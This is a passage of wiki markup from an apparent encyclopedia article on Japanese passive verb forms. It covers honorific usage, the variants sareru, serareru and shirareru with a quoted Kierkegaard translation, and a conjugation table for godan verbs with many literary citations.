Review|volume=1 |number=1 |date=April 2024|url=https://dl.ndl.go.jp/pid/13969033/1/1|issn=2759-4009|publisher=SOFTIC|last1=Mizutani|first1=Naoki|last2=Iida|first2=Kei|last3=Ueno|first3=Takeshi|last4=Takabe|first4=Makiko|first5=Yoshiyuki|last5=Tamura|last6=Mon'ya|first6=Takayoshi}}</ref> Excessively honorific verbs have been proscribed by textbooks, but they seem somewhat tolerable by speakers, even though they are still not as frequent with options without ''‑reru''.<ref>{{#invoke:cite|journal|lang=ja|last=Sakamoto|first=Kiyoe|script-title=ja:短大生とその親の敬語使用について|script-journal=ja:埼玉女子短期大学研究紀要|number=7 |year=1996 |title=On Junior College Students' and their Parents' Use of Honorific Expressions|url=https://saijo.repo.nii.ac.jp/record/364/files/%E5%9D%82%E6%9C%AC.pdf}}</ref><ref>{{#invoke:cite|journal|doi=10.14990/0002000717|script-journal=ja:甲南大学教職教育センター年報・研究報告書|journal=Konan University Teacher Education Center Annual Report and Bulletin|url=https://konan-u.repo.nii.ac.jp/records/2000717|lang=ja|script-title=ja:使用実態に基づく敬語の指導について -中学校国語教科書の分析を踏まえて-|title=Teaching Method of Honorifics Based on Actual Language Usage: The Analysis of Japanese Language Textbooks for Junior High School|last=Saiki|first=Kyōko|publisher=Konan University|date=28 February 2025|volume=2024 |issn=1882-5338}}</ref> There are historical precedents of such double honorifics dating back to the [[Edo period]].<ref>{{#invoke:cite|journal|lang=ja|script-title=ja:江戸後期から明治20年代までの「言う」の意味を表す尊敬表現 —「おっしゃる」を中心に—|script-journal=ja:早稲田大学大学院教育学研究科紀要|volume=19 |number=2 |date=March 2012|last=Yamada|first=Rina|url=https://waseda.repo.nii.ac.jp/record/10413/files/KyoikugakuKenkyukaKiyoBetsu_19_2_Yamada.pdf}}</ref>
''Sareru'' is said to be shortened from ''serareru'',<ref name=ishida-1926>{{#invoke:cite|book|url=https://dl.ndl.go.jp/pid/921281/1/45|lang=ja|script-chapter=ja:第七章 助動詞|script-title=ja:國文法の解義と練習|last=Ishida|first=Yoshisada|location=[[Kanda, Tokyo]]|publisher={{#invoke:lang|lang|ja|大同館}}|date=18 January 1926|pages=73–75}}</ref> the latter of which is said to be "pseudo‑literary" (meant to emulate the writing style of [[classical Japanese]]).{{sfnp|Martin|2004|p=289}} ''Shirareru'' is rare for [[Japanese conjugation#The bases of suru|Group‑A verbs]],{{sfnp|Suzuki|2001|p=844}} and is not to be confused with the [[Segment (linguistics)|segmentally]] and [[Japanese pitch accent|accentually]] homophonous {{#invoke:nihongo|nihongo||知られる|shirareru|{{gloss|be known}}}}, which may also be spelt in hiragana. The three forms ''sareru'', ''serareru'' and ''shirareru'' can sometimes be used interchangeably within the same text: {{#invoke:nihongo|nihongo||その人以外の者からも、又その人が私をそれほど幸福にしたとは違つた方法で、私が'''愛しられる'''と思ふことは甚だ不愉快である。[…]私は自分の力に及ぶものなら、あらゆる人に'''愛され'''たい。私は單に一個の人間として、他の人から'''愛され'''得る限り高度の愛を、自分の妻から受けたい。[…]傲慢な心はそんな風に'''愛される'''ことに、一種の誘惑を感ずる。[…]そして私と同意見でない彼の若き女に'''愛せられ'''たくないのだ。|Sono hito igai no mono kara mo, mata sono hito ga watashi o sore hodo kōfuku ni shita to wa chigatta hōhō de, watashi ga '''aishirareru''' to omou koto wa hanahada fuyukai de aru. […] Watashi wa jibun no chikara ni oyobu mono nara, arayuru hito ni '''aisare'''tai. Watashi wa tan ni ikko no ningen to shite, hoka no hito kara '''aisare'''uru kagiri kōdo no ai o, jibun no tsuma kara uketai. […] Gōman na kokoro wa sonna fū ni '''aisareru''' koto ni, isshu no yūwaku o kanzuru. […] So shite watashi to dōiken de nai kano wakaki onna ni '''aiserare'''taku nai no da.|{{gloss|It is very unpleasant to think that I were loved by anyone other than that person, in a way other than how she has made me so happy. […] I want to be loved by everyone within my power. I want to receive from my wife as much love as possibly earned by one human being from another, […] A proud heart feels a kind of temptation to be loved in such a way, […] and I do not want to be loved by that young girl who does not share my view.}}}}.<ref name=miyahara-1956-aisareru-aiserareru-aishirareru>{{#invoke:cite|book|lang=ja|script-quote=ja:私は愛の領分に思想の經驗を入れることを甚だ惡むのだ。私は只一度戀をした。今でも此の愛を常に言ひ知らず愉快に思つてゐる。その人以外の者からも、又その人が私をそれほど幸福にしたとは違つた方法で、私が愛しられると思ふことは甚だ不愉快である。が、然し私は今、それを敢てしてみよう。では、私にも戀愛といふものが起るものとして、私を斯ういふ戀愛の對象にしてみよう。ところで、その戀は、私を幸福にすることが出來ないし、又、私は決してその戀を受入れない。それは私が戀をいやしめるからではない。否、飛んだことだ、私は娘の戀をいやしめるよりも、寧ろ、人殺をして、良心の咎めを受けた方がましだと思ふ。然し、彼女自身の爲に、私はその戀を容れることは出來ない。私は自分の力に及ぶものなら、あらゆる人に愛されたい。私は單に一個の人間として、他の人から愛され得る限り高度の愛を、自分の妻から受けたい。もしさうでないなら、私は苦痛を感ずるだらう。けれども、私は<span style=text-emphasis:sesame>より</span>以上を望まない。私は一個の人が私を愛する爲、彼の魂を傷つけることを欲しない。私は彼女が自分を輕んずるほど、彼女を强く愛しよう。傲慢な心はそんな風に愛されることに、一種の誘惑を感ずる。然し、娘を訛かす術に、妙を得てゐる者がある。それにかゝると娘は戀に目がくらんで一切を忘れる。――如何にしてそれを防ぐかは唯彼等次第である! こんな娘はその爲に手ひどく所罰される。然し、出來たこと、有り振れたことゝして、大目に見逭がされる。だから、私は言つた。又、今も言ふのである――見給へ、娘は、愛する者が自分を受けても、又受けないでも、等しく失望する。なぜかと言へば、彼女が愛した人が、彼女をその過ちから救ひ出してやるほど端嚴な人であることは、眞に偶然にすぎないからである。然し、若し彼がそれほど正しい人であつたなら、彼が彼女を救ひ出す爲に用ひた手段が、どれほど苛酷であつたらうとも、なほ私は言ふであらう――『彼は正しく、忠實に、騎士らしく、彼女に向つた』――と。<br>[…]<br>此處に卽ち、君は、選擇とは、又悔いとは何ぞやと私の卑見を知るのである。母として若い女を、又は若い女として母を愛するのは似付はしくない。愛にはそれ〲特殊性がある。神に對する愛も亦その絕對の特殊性をもつ。此の愛の表現は悔である。これに比べれば、他のすべては何であらうか。只小兒の片語に過ぎないではないか。私は激し易く、直ぐに呶鳴り出して、いつも、又到る處で自說を主張せんとする靑年ではない。私は旣婚者である。私は斷然妻に吿げねばならぬ、他の愛はすべて、悔に比較すれば、小兒の片語であると。然し、私はなほ自分は善き良人であることを知つてゐる、『良人として、初戀の勝利の軍旗の下に鬪ふ私であること』を。私は知つてゐる、彼女は私の意見にくみすることを。それ故に私は彼女をより深く愛するのだ。そして私と同意見でない彼の若き女に愛せられたくないのだ。|trans-quote=I loathe much to introduce a thought experiment into the domain of love. I have loved only once, and even now I always find this love indescribably pleasant. It is very unpleasant to think that I were loved by anyone other than that person, in a way other than how she has made me so happy. But I will venture it here. Let us then make me the object of such love as something arises in me. Even then, it could not make me happy, and I would never accept it. It is not for I should disdain it, no such preposterous thing, I would rather have a murder on my conscience than to disdain a girl's love. But for her own sake, I could not permit it. I want to be loved by everyone within my power. I want to receive from my wife as much love as possibly earned by one human being from another, and it would pain me if it were not so. But I do not desire ''more''. I do not wish any person to injure her soul in order to love me. I would love her too strongly for her to abase herself. A proud heart feels a kind of temptation to be loved in such a way, but there are those who have figured out the art of infatuating a girl, so that she is blinded by love and forgets everything else—it is only up to them however they defend this! Such a girl is severely punished for it, yet it is overlooked as something so commonplace. This is why I said and still say: observe that the girl despairs equally whether her lover receives her or not, for it is no more than truly accidental that the man whom she loves is dignified enough to save her from her indiscretion. But if he were upright to such extent, no matter how cruel the means which he used to save her, I would still say, "He acted towards her uprightly, sincerely, chivalrously."<br>[…]<br>Here you know my humble opinion about what is to choose and to repent. It is not fitting to love a young girl like one's mother, or one's mother like a young girl. There is distinctiveness to every kind of love. Love for God, too, has its absolute distinctiveness: its expression is repentance. What is everything else compared to this? Nothing more than childish prattle, really. I am not a hot-headed youth, quick to interject, always insistent on his own theories everywhere he goes. I am a married man. I must by all means tell my wife that all other loves, compared to repentance, are childish prattle. Yet I know that I am a proper husband, that "I, as a husband, fight under the triumphant banner of first love." I know that she agrees with my view, and therefore, I love her even more deeply, and I do not want to be loved by that young girl who does not share my view.|quote=Jeg har paa Elſkovens Gebeet meget ondt ved at anſtille Tanke⸗Experimenter; jeg har kun elſket eengang og er endnu beſtandig ubeſkrivelig lykkelig i denne Kjærlighed, og jeg har ondt ved at tænke mig elſket af en Anden, end Den, jeg er knyttet til, anderledes end paa den Maade, ved hvilken hun gjør mig ſaa lykkelig, men jeg vil her vove det. Lad mig da, hvorledes det end er gaaet til, være bleven Gjenſtand for en ſaadan Kjærlighed. Den vilde ikke gjøre mig lykkelig, og jeg vilde aldrig modtage den, ikke fordi jeg vilde forſmaae den, ved Gud, jeg vilde hellere have et Mord paa min Samvittighed end at have forſmaaet en Piges Kjærlighed, men jeg vilde ikke tillade det for hendes egen Skyld. Jeg ønſker at være elſket, hvis det ſtod til mig, af ethvert Menneſke; af min Kone ønſker jeg at være elſket ſaa høit ſom det ene Menneſke kan være elſket af det andet, og det vilde ſmerte mig, om jeg ikke var det; men jeg ønſker heller ikke Mere, jeg vilde ikke tillade, at et Menneſke tog Skade paa ſin Sjæl for at elſke mig; jeg vilde elſke hende for høit til at tillade hende at nedværdige ſig ſelv. Der ligger noget Forførerſk for det hovmodige Sind i at blive elſket ſaaledes, og der gives Menneſker, der forſtaae den Kunſt at bedaare en Pige, ſaa hun glemmer Alt over dem — lad dem ſee til, hvorledes de forſvare det. Som ofteſt bliver en ſaadan Pige haardt nok ſtraffet derfor, men det Nedrige er, at tillade, at det ſkeer. Seer Du, derfor ſagde jeg og ſiger endnu, at den unge Pige var lige fortvivlet, enten hun fik den Elſkede eller ikke; thi det var jo en tilfældig Omſtændighed, om Den, hun elſkede, var et ſaa redeligt Menneſke, at han hjalp hende ud af hendes Hjertes Vildfarelſe, og om end de Midler, han brugte hertil, vare nok ſaa haarde, ſaa vilde jeg dog ſige, han handlede redeligt, oprigtigt, trofaſt, ridderligt mod hende.<br>[…]<br>See, her har Du min ringe Mening om hvad det er at vælge og at angre. Det er uſømmeligt at elſke en ung Pige ſom var det Ens Moder, eller Ens Moder ſom var det en ung Pige, hver Kjærlighed har ſin Eiendommelighed; Kjærlighed til Gud har ſin abſolute Eiendommelighed, dens Udtryk er Anger. Og hvad er dog al anden Kjærlighed i Sammenligning med denne, den er kun Barnelallen derimod. Jeg er ikke et ophidſet ungt Menneſke, der ſøger at anbefale ſine Theorier, jeg er Ægtemand, jeg tør vel lade min Kone høre paa, at dog al Kjærlighed i Sammenligning med Angeren kun er Barnelallen; og dog veed jeg, jeg er en brav Ægtemand, „jeg, der endnu ſom Ægtemand kæmper under den førſte Kjærligheds ſeierrige Banner“; jeg veed, hun deler min Anſkuelſe, og derfor elſker jeg hende endnu høiere, og derfor vilde jeg ikke elſkes af hiin unge Pige, fordi hun ikke deelte denne Anſkuelſe.|pp=136–137, 172–173|url=https://dl.ndl.go.jp/pid/2970168/1/80|script-chapter=ja:人格完成の美的、倫理的均衡について|trans-chapter=On the Aesthetical and Ethical Aequilibrium of Personality Completion|chapter=Ligevægten mellem det Æſthetiſke og Ethiſke i Perſonlighedens Udarbeidelſe.|script-title=ja:憂愁の哲理|trans-title=[[Either/Or (Kierkegaard book)|The Philosophy of Sorrow]]|title=Enten — Eller. Et Livs-Fragment|authorlink=Søren Kierkegaard|first=Søren Aabye|last=Kierkegaard|translator-first=Kōichirō|translator-last=Miyahara|publisher=Shunjusha|date=30 April 1957|edition=2nd|orig-date=12 July 1956|location=[[Chiyoda, Tokyo]]}}</ref>
{| class="wikitable"
|-
! Dictionary form
! colspan=3 | Pattern {{sfnp|Makino|Tsutsui|2018|pp=576-579|loc="Appendix 1 Basic Conjugations" (Verbs)}}
! Passive form
|-
! colspan=5 style=text-align:left | ''Godan'' and pseudo‑''yodan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|fasten|結う|yuu/yū}}
| style=text-align:right | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be fastened / suffer because one fastens / (can) fasten / be fastenable|結われる|yuwareru}}
|-
| {{#invoke:nihongo|nihongo_krt|say|<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>う|yū}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いわ}}</span>'''<br>{{#invoke:lang|lang|ja|ゆ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be said / suffer because one says / (can) say / be sayable|言われる|iwareru/yuwareru}}
|-
| {{#invoke:nihongo|nihongo_krt|win|勝つ|katsu}}
| style=text-align:right | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|つ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|た}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|suffer because one wins / (can) win|勝たれる|katareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:しかしかういふ名譽は君主國には不向きかも知れない。ローマの諸皇帝は、分等自身、若しくは自分の息子等が親しく勝ち得た戰爭に對してのみ行ふことによつて、正式の凱旋式を獨占し、臣下によつて勝たれた戰爭に對しては、將軍への凱旋服、又は標幟を許しただけであつた。|quote=But that Honour, perhaps, were not fit for ''Monarchies'', Except it be in the Perſon of the ''Monarch'' himſelfe, or his Sonnes; As it came to paſſe, in the Times of the ''Roman Emperours'', who did impropriate the Actuall Triumphs to Themſelues, and their Sonnes, for ſuch Wars, as they did atchieue in Perſon: And left only, for Wars atchieued by Subiects, ſome Triumphall Garments, and Enſignes to the Generall.|translator-first=Saburō|translator-last=Kanki|authorlink=Francis Bacon|first=Francis|last=Bacon|script-chapter=ja:二十九、邦國の眞の偉大さについて|chapter=Of the true Greatneſſe of Kingdomes and ''Estates''. XXIX|title=THE ESSAYES OR COVNSELS, CIVILL AND MORALL, OF ''FRANCIS'' LO. ''VERVLAM'', VISCOVNT Sᵗ. <span style=font-variant:small-caps>Alban</span>|url=https://dl.ndl.go.jp/pid/1038911/1/74|p=149–150|script-title=ja:ベーコン隨筆集|trans-title=[[Essays (Francis Bacon)|Bacon's Essays]]|series={{#invoke:lang|lang|ja|岩波文庫}}|publisher=Iwanami Shoten|date=1 March 1948|edition=9th|orig-date=15 September 1935|editor-first=Kakuzaemon|editor-last=Nunokawa|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『サー・ダニエル殿は申されました。―あなたは<ruby>阻塞<rp>(</rp><rt>バリケード</rt><rp>)</rp></ruby>を守つてをられ、叔父の手勢はそれに向かつて戰ひ、あなたが勝たれたとのこと。して見れば、あなたが叔父を討つた事に間違ひありませぬ。サー・ダニエル殿はきつとあなたを亡ぼすと誓はれましたから、私の仇はあの方が返して下さいませう』|quote="Sir Daniel hath told me," she replied. "He marked you at the barricade. Upon you, he saith, their party foundered; it was you that won the battle. Well, then, it was you that killed my good Lord Risingham, as sure as though ye had strangled him. And ye would have me eat with you—and your hands not washed from killing? But Sir Daniel hath sworn your downfall. He 'tis that will avenge me!"|p=302|url=https://dl.ndl.go.jp/pid/1689407/1/163|script-chapter=ja:'''五''' 森の夜|chapter=CHAPTER V. <span style=font-variant:small-caps>night in the woods: alicia risingham.</span>|trans-chapter='''V.''' Night in the Woods|script-title=ja:黑矢物語|trans-title=[[The Black Arrow: A Tale of the Two Roses|Tale of the Black Arrow]]|title=The Black Arrow: A Tale of the Two Roses|series={{#invoke:lang|lang|ja|世界名作物語}}|authorlink=Robert Louis Stevenson|first=Robert Louis|last=Stevenson|translator-first=Kōichirō|translator-last=Miyahara|date=10 October 1940|publisher=Dōwa Shunjusha|location=[[Nihonbashi]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:が、幸ひにして御尊父が勝たれたにしろ、安全にコヹントリーの<ruby>柵<rp>(</rp><rt>さく</rt><rp>)</rp></ruby><ruby>外<rp>(</rp><rt>ぐわい</rt><rp>)</rp></ruby>へ出られるのはむづしかったでせう。何故ならば、國內<ruby>擧<rp>(</rp><rt>こぞ</rt><rp>)</rp></ruby>って御尊父を<ruby>惡<rp>(</rp><rt>にく</rt><rp>)</rp></ruby>み呪ってゐたのでしたから。衆望は一へに悉くハーフォード伯に集って、彼等は王以上に<ruby>彼<rp>(</rp><rt>かの</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>を愛し、只もう彼人の爲に夢中になって祝福するといふ風でしたから。|quote=But if your father had been victor there,<br>He ne'er had borne it out of Coventry:<br>For all the country in a general voice<br>Cried hate upon him; and all their prayers and love<br>Were set on Hereford, whom they doted on<br>And bless'd and graced indeed, more than the king.|url=https://dl.ndl.go.jp/pid/1664848/1/71|p=131|script-chapter=ja:第一場 ヨークシャー。ゴールツリーの森林。|chapter=Scene I. Yorkshire. Gaultree Forest.|title=Second Part of King Henry IV|script-title=ja:ヘンリー四世 第二部|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|authorlink=William Shakespeare|first=William|last=Shakespeare|date=30 August 1957|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:実際, 上の問題に対して解答に示した手以外は, すべて相手側に勝たれてしまうのである。<br>[…]すると, 相手に勝たれるので, 自分は負ける。|trans-quote=In fact, any move other than what is shown in the answer to the problem above will result in a win for your opponent.<br>[…] And then, you lose to your opponent.|pp=100–101|last=Ueno|first=Yoshiaki|year=2008|script-title=ja:石取りゲームの教材化|script-journal=ja:東京工芸大学工学部紀要|journal=The Academic Reports, the Faculty of Engineering, Tokyo Polytechnic University|issn=03876055|publisher=Tokyo Polytechnic University|volume=31|number=1|url=https://kougei.repo.nii.ac.jp/record/461/files/vol31-1-08.pdf}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「イギリス人はきっとマヒーシャの化身です。でも、ドルガー様が宇宙の調和を壊した悪い神や悪魔に勝たれたように、私たちを救い、勝たせてくださるでしょう。あの女神の剣にはそのような力が<ruby>具<rp>(</rp><rt>そな</rt><rp>)</rp></ruby>わっているのです」言い終わるとラクシュミーはお祈りをして、戦いの神、バーヴァーニ女神とチャンディ女神がドルガー女神に助力するようお願いした。「この三人の神が、この城を難攻不落にしてくれるでしょう」と女たちにも説明した。|quote="The Angrez are surely Mahisha reborn," said Lakshmi, "but Durga will rescue us and prevail as she did over the gods and demons who disturbed the cosmic harmony. Her sword has those magical powers." Lakshmi prayed that Bhavani and Chandi, the war goddesses, would add their formidable powers to Durga's. "The three will make the fort invulnerable," said Lakshmi.|pp=313–314|script-chapter=ja:第二十五章 月夜の脱出|trans-chapter=Chapter 25: Escape under the Moonlight|chapter=25|title=[[Durga]]'s Sword|authorlink=Joyce Lebra|first=Joyce Chapman|last=Lebra|script-title=ja:王妃ラクシュミー 大英帝国と戦ったインドのジャンヌ・ダルク|trans-title=Queen Lakshmi: The Joan of Arc of India Who Battled the British Empire|publisher=Sairyusha|date=24 September 2008|translator-last=Yabune|translator-first=Masami}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|hunt|狩る|karu}}
| style=text-align:right | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be hunted / suffer because one hunts / (can) hunt / be huntable|狩られる|karareru}}
|-
| {{#invoke:nihongo|nihongo_krt|exist|有る|aru}}
| style="text-align:right" | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|suffer because one exists / (can) exist|有られる|arareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:「ネパールの Jahadu に尊者が声明と因明に博学な理由を私が説明しよう。尊者は仏教すべての教主であられる」|page=279 |url=https://tfulib.repo.nii.ac.jp/?action=repository_uri&item_id=188&file_id=22&file_no=1 |last=Kawagoe|first=Eishin|script-title=ja:Nag tsho Lo tsā ba について(2)|script-journal=ja:東北福祉大学研究紀要|number=26 |year=2002}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:科学の発展によって、遺伝子をはじめ、「おんな」「おとこ」の「性徴」と見なされる事項は拡大し、性的役割分担にも変化があられるようになる。|pp=49–50|url=http://202.26.160.84/dspace/bitstream/123456789/864/1/608_hoshino_48_52.pdf|first=Haruhiko|last=Hoshino|script-title=ja:つくられる「おんな」の身体,「おとこ」の身体 ―その歴史的形成過程―|script-journal=ja:第6回文学部フォーラムことばと身体|year=2010 }}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:殿が〝フフフ〟と含み笑いを漏らされた。豪儀な事よ。殿は銭を稼ぐのに熱心ではあられるが守銭奴ではない。|script-chapter=ja:不信|publisher=TO Books|author=Israfil|date=20 July 2022|script-title=ja:淡海乃海 水面が揺れる時 外伝集~老雄~二}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|do|為さる|nasaru}}
| style="text-align:right" | {{#invoke:lang|lang|ja|為さ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|為さ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be done / suffer because one does / (can) do / be doable/feasible|為さられる|nasarareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:そこで世尊は次のごとき説法をなさられた。|page=19 |first=Shinjō|last=Kawasaki|script-title=ja:バヴィヤ造 『中観心論』・『思択炎』 第九章・第十章研究 ――一切智思想の展開に関連して――|script-journal=ja:哲学・思想論集|journal=Studies in Philosophy|number=11 |year=1985 |url=https://core.ac.uk/download/pdf/227191668.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:種卵の供給を開始して4年が経過し、民間養魚場でも大型魚が生産されるに至り、販売方法の検討がなさられている。|page=30 |last1=Kobayashi|first1=Yasuhiro|last2=Kakita|first2=Yoshifumi|last3=Motegi|first3=Minoru|script-title=ja:ギンヒカリの特性評価 ―Ⅱ|script-journal=ja:群馬県水産試験場研究報告|journal=Report of Gunma Fisheries Experimental Station|publisher={{#invoke:lang|lang|ja|群馬県水産試験場}}|number=11 |issn=1342-1085|date=5 March 2011|url=https://agriknowledge.affrc.go.jp/RN/2030733630.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:その際の判断基準が形式ないし実態のどちらに重きが置かれるのか、どのような方法において判断なさられるのか。[…]家族保護の再審査がなさられてないことを指摘する。|last=Okuno|first=Keiko|script-title=ja:オーストラリアにおける入国そして居住の権利|script-journal=ja:国際経営論集|volume=47 |date=31 March 2014|url=https://kanagawa-u.repo.nii.ac.jp/record/2059/files/47-06.pdf}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|lend|貸す|kasu}}
| style=text-align:right | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be lent / suffer because one lends / (can) lend / be lendable|貸される|kasareru}}
|-
| {{#invoke:nihongo|nihongo_krt|love|愛す|aisu}}
| style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be loved / suffer because one loves / (can) love / be lovable|愛される|aisareru}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達す|tassu}}
| style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be reached / suffer because one reaches / (can) reach / be reachable|達される|tassareru}}
|-
| {{#invoke:nihongo|nihongo_krt|write|書く|kaku}}
| style=text-align:right | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|か}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be written / suffer because one writes / (can) write / be writable|書かれる|kakareru}}
|-
| {{#invoke:nihongo|nihongo_krt|smell|嗅ぐ|kagu}}
| style=text-align:right | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぐ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|が}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be smelled / suffer because one smells / (can) smell / be smellable|嗅がれる|kagareru}}
|-
| {{#invoke:nihongo|nihongo_krt|call|呼ぶ|yobu}}
| style=text-align:right | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぶ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ば}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be called / suffer because one calls / (can) call / be callable|呼ばれる|yobareru}}
|-
| {{#invoke:nihongo|nihongo_krt|read|読む|yomu}}
| style=text-align:right | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|む}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ま}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be read / suffer because one reads / (can) read / be readable/legible|読まれる|yomareru}}
|-
| {{#invoke:nihongo|nihongo_krt|die|死ぬ|shinu}}
| style=text-align:right | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぬ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|な}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|れる}}</span>'''
